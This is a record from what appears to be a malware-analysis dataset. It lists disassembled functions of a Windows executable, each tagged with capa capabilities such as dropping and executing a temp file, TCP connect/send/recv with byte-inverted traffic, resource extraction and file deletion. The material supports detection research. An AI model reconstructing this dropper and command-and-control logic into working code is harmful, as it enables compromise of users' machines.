joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402200
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x40231e
push 0xb69
call fcn.0040a3f1
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xb69
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x402311
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x30]
test eax, eax
jl 0x402279
jg 0x40226d
test ecx, ecx
jbe 0x402279
mov ebx, dword [esi + 0x38]
mov ebp, dword [esi + 0x3c]
mov edx, ecx
mov edi, eax
jmp 0x40227d
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xbd]
cmp eax, edi
mov ecx, dword [esi + 0xb9]
jl 0x4022a7
jg 0x402293
cmp ecx, edx
jbe 0x4022a7
mov ebx, dword [esi + 0xc1]
mov ebp, dword [esi + 0xc5]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x146]
cmp eax, edi
mov ecx, dword [esi + 0x142]
jl 0x4022d1
jg 0x4022bd
cmp ecx, edx
jbe 0x4022d1
mov ebx, dword [esi + 0x14a]
mov ebp, dword [esi + 0x14e]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1cf]
cmp eax, edi
mov ecx, dword [esi + 0x1cb]
jl 0x4022fb
jg 0x4022e7
cmp ecx, edx
jbe 0x4022fb
mov ebx, dword [esi + 0x1d3]
mov ebp, dword [esi + 0x1d7]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.00418a20
mov dword [esp + 0x10], eax
test esi, esi
je 0x40231e
push esi
call fcn.0040a3fc
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x402340
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
cmp esi, 0xffffffff
je 0x402391
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
ret
Function at 0x402530
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x70
or eax, 0xffffffff
push ebx
mov ebx, 1
push ebp
push esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x74], eax
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x18], ebx
call fcn.00414939
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x42e458]
fadd qword [0x42e470]
call fcn.00418930
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x402650
call fcn.00414939
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x42e458]
fmul qword [0x42e468]
fadd qword [0x42e460]
call fcn.00418930
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x402638
lea esp, [esp]
add ecx, ebx
cmp ecx, 0x1a
jne 0x402629
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x402620
add esi, dword [esp + ecx*4 + 0x18]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x4025e7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret

Function at 0x4026f0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
push 0x206
xor esi, esi
lea ecx, [esp + 0x12]
xor eax, eax
push esi
push ecx
mov word [esp + 0x18], ax
call fcn.00416c10
add esp, 0xc
cmp edi, esi
je 0x4027d8
mov eax, 0x42c760
mov dword [esp + 4], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x402735
sub eax, edx
sar eax, 1
je 0x40275f
push 0x42c8f4
lea edx, [esp + 8]
push 0x42c760
push edx
call fcn.00414d8b
add esp, 0xc
jmp 0x40279a
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42c864
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.0041483b
push 0x42c8f4
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00414d8b
add esp, 0x18
mov eax, dword [esp + 4]
cmp eax, esi
je 0x4027bd
push eax
push 1
push 0x200
push edi
call fcn.00415351
mov ecx, dword [esp + 0x14]
push ecx
call fcn.00415112
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041482c
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0041482c
add esp, 0x214
ret
Function at 0x402910
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x42c8fc
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.00416064
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.00415806
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.00415870
add esp, 0x14
test eax, eax
je 0x40299b
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402a97
mov eax, 0x434048
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4029d0
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4029e7
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402a00
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.0040a3f1
push edi
mov esi, eax
push 0
push esi
call fcn.00416c10
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push 0x434048
push edi
push esi
call fcn.0041589d
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402a50
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push 0x42c908
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x402a95
push esi
call fcn.0040a3fc
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.0041482c
add esp, 0x314
ret
Function at 0x402ab0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x3e8
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x3e0], eax
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1e2]
push ecx
mov word [esp + 0x1e4], ax
call fcn.00416c10
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x437480
call fcn.00401bd0
add esp, 4
test eax, eax
jne 0x402bf9
push 0x3a
push eax
lea ecx, [esp + 0x1a6]
push ecx
mov word [esp + 0x1a8], ax
call fcn.00416c10
add esp, 0xc
lea edi, [esp + 0x19c]
call fcn.00402cc0
xor eax, eax
jmp 0x402b40
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x437628], cx
add eax, 2
test cx, cx
jne 0x402b40
push 0x42c7c8
push 0x40
push 0x437484
call fcn.004148b8
add esp, 0xc
push 0x42c7e4
mov edx, 0x51
push 0x10
push 0x437506
mov word [0x437504], dx
call fcn.004148b8
add esp, 0xc
push 0x42c794
push 0x40
push 0x437526
call fcn.004148b8
mov eax, 0x2b66
add esp, 0xc
mov word [0x4375a6], ax
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x437608], cx
add eax, 2
test cx, cx
jne 0x402bb0
mov eax, 0x437608
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402bd0
mov ecx, dword [0x42c910]
mov dx, word [0x42c914]
mov dword [eax], ecx
mov word [eax + 4], dx
mov dword [0x437648], 5
call fcn.00402d60
lea edi, [esp + 0x1d8]
call fcn.00402cc0
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x1d8]
mov word [eax + 0x4378b8], cx
add eax, 2
test cx, cx
jne 0x402c10
push 0x4378b8
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402c5c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
mov ecx, dword [esp + 0x3e0]
xor ecx, esp
call fcn.0041482c
add esp, 0x3e8
ret
push 0x4378b8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x402c44
mov ecx, 0x437938
call fcn.00402fb0
mov eax, dword [0x43764c]
push 0
push 0
push 0
push 0x403590
push 0
push 0
mov dword [0x437940], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x3e4]
pop edi
mov dword [0x434038], eax
xor ecx, esp
mov eax, 1
call fcn.0041482c
add esp, 0x3e8
ret
Function at 0x403830
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x434
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x42c], eax
mov eax, dword [esp + 0x43c]
push ebx
push ebp
mov ebp, dword [esp + 0x440]
push esi
push edi
push eax
mov ecx, ebp
call fcn.00403a00
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
jne 0x4039e2
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x32]
push edx
mov word [esp + 0x34], cx
call fcn.00416c10
add esp, 0xc
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x23a]
push ecx
mov word [esp + 0x23c], ax
call fcn.00416c10
add esp, 0xc
lea esi, [esp + 0x28]
call fcn.004036d0
push 0x42c888
mov edx, esi
push 0x104
push edx
call fcn.0041483b
xor eax, eax
lea ebx, [esp + 0x20]
add esp, 0xc
mov byte [esp + 0x14], 0
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov word [esp + 0x25], ax
mov byte [esp + 0x27], al
mov esi, 0x436b68
sub ebx, 0x436c6c
cmp word [esi], 0
je 0x403967
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x234]
push 0x104
push ecx
call fcn.004148b8
add esp, 0xc
push esi
lea edx, [esp + 0x234]
push 0x104
push edx
call fcn.0041483b
lea eax, [esp + 0x23c]
add esp, 0xc
push eax
lea edi, [esp + 0x18]
call fcn.00406100
add esp, 4
test eax, eax
je 0x403967
mov ecx, 0x14
lea eax, [esi + 0x104]
lea ecx, [ecx]
mov edx, dword [ebx + eax]
cmp edx, dword [eax]
jne 0x403967
sub ecx, 4
add eax, 4
cmp ecx, 4
jae 0x403950
xor eax, eax
mov word [esi], ax
add esi, 0x118
sub ebx, 0x118
cmp esi, 0x4370e0
jl 0x4038f4
mov edi, dword [esp + 0x44c]
mov esi, 0x436b68
jmp 0x403990
cmp word [esi], 0
je 0x4039a1
push edi
push ebp
push esi
call fcn.00404260
add esp, 0xc
add esi, 0x118
cmp esi, 0x4370e0
jl 0x403990
push 0x437b38
lea ecx, [esp + 0x2c]
push 0x104
push ecx
call fcn.0041483b
add esp, 0xc
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4039de
mov dword [esp + 0x10], 2
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x43c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041482c
add esp, 0x434
ret
Function at 0x403c10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [esp + 0x9b8]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x403c3b
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403c70
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.0041482c
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403c58
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x403cac
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, ebx
je 0x403d05
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9b8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403d05
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.0041482c
add esp, 0x9b0
ret
mov eax, dword [esi]
cmp eax, ebx
je 0x403d14
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0041482c
add esp, 0x9b0
ret

Function at 0x403e70
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x403ef2
cmp edi, eax
jle 0x403e9d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x403e90
lea ebx, [edi + 7]
push ebx
call fcn.0040a3f1
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x43403c]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x434040]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.0041b6d0
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x403ef6
cmp eax, ebx
jne 0x403ef6
mov dword [esp + 0xc], 1
jmp 0x403ef6
mov esi, dword [esp + 0x14]
test esi, esi
je 0x403f03
push esi
call fcn.0040a3fc
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4040d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x404111
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x40422d
test edx, edx
je 0x40422d
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.00416c10
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404245
test eax, eax
je 0x404245
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.0040a3f1
add esp, 4
mov ebx, eax
test edi, edi
jle 0x40421b
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4041f9
test eax, eax
je 0x4041f9
add esi, eax
cmp edi, esi
jg 0x404184
cmp esi, 5
jl 0x40421b
mov ecx, dword [0x43403c]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x40421b
mov dl, byte [ebx + 4]
cmp dl, byte [0x434040]
jne 0x40421b
test esi, esi
jle 0x4041dc
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x4041d0
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x404201
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.0041b6d0
mov dword [edi], esi
jmp 0x404210
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40421b
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.0041b6d0
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x404228
push ebx
call fcn.0040a3fc
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.0041482c
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0041482c
add esp, 0x8d8
ret
Function at 0x404840
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x42c964
mov edi, eax
push 0x89
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4048a8
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov eax, dword [esp + 0x10]
push esi
mov dword [eax], esi
call fcn.0040a3f1
push esi
mov edi, eax
push 0
push edi
call fcn.00416c10
push esi
push ebx
push edi
call fcn.0041b6d0
add esp, 0x1c
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x4048b0
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
push edi
push ebx
mov edi, eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4048e1
mov eax, ebx
call fcn.004049c0
cmp eax, edi
jne 0x4048e1
lea eax, [esi + 1]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push 0x200000
call fcn.0041573c
mov ebp, eax
mov eax, dword [esp + 0x28]
add esp, 4
push ebp
push eax
lea edx, [esp + 0x1c]
mov ecx, edi
mov dword [esp + 0x1c], 0x200000
call fcn.00404a20
add esp, 8
test eax, eax
je 0x4049ac
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00414927
add esp, 4
call fcn.00414939
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fmul qword [0x42e458]
fmul qword [0x42e480]
fadd qword [0x42e478]
call fcn.00418930
mov esi, dword [esp + 0x14]
lea ebx, [esi + ebp]
mov edi, eax
call fcn.004028c0
add edi, esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
call fcn.00404ba0
mov esi, eax
cmp esi, 0xffffffff
je 0x4049aa
push ebx
lea ecx, [esp + 0x1c]
push ecx
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [esp + 0x18]
cmp eax, edi
jne 0x404989
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 1
jne 0x4049aa
push ebp
mov esi, ebx
call fcn.00415c97
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor esi, esi
push ebp
call fcn.00415c97
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x4049c0
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push connect
or edi, 0xffffffff
push eax
or ebx, edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
jne 0x4049f2
or eax, edi
or edx, edi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x404a0b
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret
Function at 0x404ba0
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call edi
cmp eax, 0xffffffff
je 0x404bf3
push esi
call edi
cmp eax, 0xffffffff
je 0x404bee
test al, 1
je 0x404bbe
xor eax, 1
test al, 4
je 0x404bc5
xor eax, 4
test al, 2
je 0x404bcc
xor eax, 2
test al, 0x20
je 0x404bd3
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x404bf3
or eax, 0xffffffff
pop edi
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
ret

Function at 0x404c70
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x4371a8
push 0x67
push esi
call edi
push 0x64
push 0x4370e0
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00404e50
mov eax, dword [ebp + 0x10]
mov edx, 0x437278
sub edx, eax
mov edi, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x404cc0
call fcn.00401000
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
mov dword [0x433fbc], eax
call edi
call fcn.00401100
test eax, eax
je 0x404cfc
call fcn.00402910
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x4371a8
push 0x4370e0
push 0
mov dword [0x437270], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x404d3b
call fcn.00402ab0
test eax, eax
jne 0x404d53
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0041482c
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00416c10
mov eax, dword [0x437780]
add esp, 0xc
test eax, eax
jbe 0x404d9c
cmp word [0x437784], 0
jbe 0x404d9c
push eax
mov esi, 0x433fa0
call fcn.00403650
mov dx, word [0x437784]
add esp, 4
mov word [0x433fb0], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push 0x42c984
mov edx, 0x437b38
call fcn.00404fa0
call fcn.00403730
lea esi, [esp + 0x10]
call fcn.004036d0
push 0x42c888
mov edx, esi
push 0x104
push edx
call fcn.0041483b
add esp, 0x14
push 0x437b38
mov eax, esi
push 0x104
push eax
call fcn.0041483b
add esp, 0xc
mov ecx, esi
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404e2c
push 0x1f4
call edi
push 1
push 0
push 0x42c760
mov edx, esi
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call edi
call fcn.004045b0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]